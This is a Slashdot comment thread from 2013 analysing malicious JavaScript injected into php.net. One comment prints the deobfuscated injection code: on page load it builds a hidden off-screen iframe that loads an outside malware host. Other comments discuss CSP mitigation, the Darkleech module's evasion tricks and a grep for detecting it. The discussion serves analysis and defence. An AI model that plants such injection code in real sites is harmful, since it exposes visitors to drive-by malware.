Re:Php.net detected as a malware host by Google Safe Browsing
by ingenter on Thursday October 24, 2013 @06:19AM
(#6604377)
This code deobfuscates basically to
tmp3 = (tmp2 = document.createElement('iframe')).style;
tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
tmp1 = (tmp0 = document.createElement('div')).style;
tmp1.width = tmp1.height = '-10000px';
tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
tmp4 = document.getElementsByTagName('div');
tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);
Wrapped into onload.
Re:Php.net detected as a malware host by Google Safe Browsing
by hwh on Thursday October 24, 2013 @08:33AM
(#6604842)
I really love that part where a random div is selected for inserting the iframe...
Re:Php.net detected as a malware host by Google Safe Browsing
by officialjunk on Thursday October 24, 2013 @09:57AM
(#6605237)
If there is one. Could be a little more robust :)
Re:Php.net detected as a malware host by Google Safe Browsing
by oneeyedpigeon on Thursday October 24, 2013 @10:20AM
(#6605360)
Obviously the hackers have a thing about non-semantic markup :-)
(yes, yes, I know that DIVs aren't really non-semantic - it's a joke)
Re:Php.net detected as a malware host by Google Safe Browsing
by yeukhon on Thursday October 24, 2013 @11:10AM
(#6605695)
Would CSP solve this issue? Looks like we could try restricting iframe-src?
But if they are able to hack into the server, I supposed there is nothing to do then...
Re:Php.net detected as a malware host by Google Safe Browsing
by handsomeransoms on Thursday October 24, 2013 @02:15PM
(#6606888)
If php.net used CSP, they would have been able to mitigate this attack with the frame-src directive [1].
Re:Php.net detected as a malware host by Google Safe Browsing
by yeukhon on Thursday October 24, 2013 @02:35PM
(#6607017)
If they are able to hack the physical box (I assume this is how they did the injection), then it is possible for them to modify the CSP rule too.
If my assumption is correct, then CSP won't help unless we separate the source server and the proxy server from each other.
Re:Php.net detected as a malware host by Google Safe Browsing
by recentdarkness on Thursday October 24, 2013 @06:08AM
(#6604349)
From my experience are these contents only provided once per IP and then you're getting filtered to not get any content again, to prevent 'easy' detection of this.
You simply get blacklisted after the first serving
Re:Php.net detected as a malware host by Google Safe Browsing
by deefour on Thursday October 24, 2013 @09:44AM
(#6605183)
I've seen this sort of thing from the Darkleech apache module[1]. It also won't show the malicious Javascript to any IP that appears in the `last` log. It looks like php.net uses Apache too[2]. The easiest way I've seen to find the module (they come with a variety of names) is to do something like
strings /path/to/modules/* | grep -i blacklist
[1] http://malwaremustdie.blogspot.com/2013/03/the-evil-came-bac...
Re:Php.net detected as a malware host by Google Safe Browsing
by muraiki on Thursday October 24, 2013 @09:51AM
(#6605210)
Yeah, I ran across malware once that only injected JS for visitors from certain referrers, such as Google search. I believe the intention was so that when someone would tell me, "Hey, you have a bunch of weird links on your site" I would go to it directly and not see a problem. IIRC the .htaccess had been modified.
Re:Php.net detected as a malware host by Google Safe Browsing
by drzaiusapelord on Thursday October 24, 2013 @10:06AM
(#6605288)
What a mess. I hope running Chrome via EMET is enough to keep my machine safe.
I've noticed that hacks have gone up recently in my little part of cyberspace. Things like Cryptolocker are so profitable that its motivating a lot of talented guys to get into malware and hack servers. Usually servers running some unpatched CMS or module.
Re:Php.net detected as a malware host by Google Safe Browsing
by wohej on Friday October 25, 2013 @01:13AM
(#6609881)
Found some more interesting stuff into the rabbit hole:
Re:Php.net detected as a malware host by Google Safe Browsing
by FridayWithJohn on Thursday October 24, 2013 @05:58AM
(#6604322)
This is very interesting. Thanks for the code.
2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.
3) When i browse to static userprefs.js on normal mode I get the following js appended:
4) When I control F5 the page to refresh, obfuscated contents are gone.So I'm leaning towards it being hacked a while ago and the hacked version was in my cache.